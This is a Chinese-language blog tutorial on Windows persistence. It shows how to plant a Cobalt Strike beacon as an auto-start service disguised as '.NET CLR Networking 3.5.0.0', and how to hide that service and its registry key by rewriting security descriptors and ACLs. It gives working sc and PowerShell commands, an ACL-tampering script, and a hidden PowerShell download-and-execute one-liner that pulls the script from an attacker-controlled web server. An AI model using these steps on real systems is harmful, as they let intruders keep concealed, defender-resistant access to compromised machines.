Windows权限维持之利用安全描述符隐藏服务后门进行权限维持(八)

我们先打开cs的服务端

然后我们打开客户端

我们点击连接

然后弹出这个界面

然后我们新建一个监听器

然后我们生成一个beacon

然后把这个复制到目标主机

然后我们双击 运行

然后cs这边就上线了

然后我们把进程结束掉

然后我们再把他删除掉

然后我们创建服务

将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。

cmd创建自启动服务

复制代码
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\1.exe" depend= Tcpip obj= Localsystem start= auto

然后我们打开服务 就能看见我们新创建的服务 我们要把它开启

然后我们cs 这边就上线了

我们这里来查看服务

sc query | findstr ".NET CLR Networking 3.5.0.0"

这里出现第二个后门 因为我刚才又重新启动服务了 我们把第一个删除掉

当然我也可以用powershell

powershell创建自启动服务

复制代码
new-service --Name ".NET CLR Networking 3.5.0.0" --DisplayName ".NET CLR Networking 3.5.0.0" --BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe"  --       StartupType AutomaticDelayedStart

但创建的服务很容易被发现通过sc query和Get-Service很容易发现,直接查询服务也能看见

通过修改SDDL( 安全描述符**)**隐藏服务

众所周知, windows访问控制模型分为两部分:

access token(访问令牌)

安全描述符

安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:

对象的所有者和主要组的Sid (安全标识符)

用于指定允许或拒绝特定用户或组的访问权限的DACL。

指定为对象生成审核记录的访问尝试类型的SACL。

一组限制安全描述符或其各个成员的含义的控制位。

windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

复制代码
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

然后我们服务就找不见了

在cmd窗口呀查询不到

在知道服务名的前提下查询会显示拒绝访问:

net start ".NET CLR Networking 3.5.0.0"

这里我们的cs也上线了

但这样做有一个问题:在注册表中很容易看到异常value。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NETCLRNetworking3.5.0.0

这里也有这个存在

修改注册表ACL

我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。

这里给出一个通过powershell修改注册表项的访问权限的简单脚本:

复制代码
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues" $inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None" $propagation = [System.Security.AccessControl.PropagationFlags]"None" $type = [System.Security.AccessControl.AccessControlType]"Allow"      $rule = New-Object System.Security.AccessControl.RegistryAccessRule( ` $person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

Set-Acl $S $acl
}

我们在kail上新建1.ps1

然后我们开启web服务

python3 -m http.server 80

远程加载powershell脚本:

复制代码
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.25.138/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.5.0.0'"

然后哦我们重启计算机

发现也是隐藏了

详细

利用安全描述符隐藏服务后门进行权限维持

相关推荐
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954483 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
阿白的白日梦3 天前
winget基础管理---更新/修改源为国内源
windows
YuMiao3 天前
gstatic连接问题导致Google Gemini / Studio页面乱码或图标缺失问题
服务器·网络协议
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
Sinclair5 天前
简单几步,安卓手机秒变服务器,安装 CMS 程序
android·服务器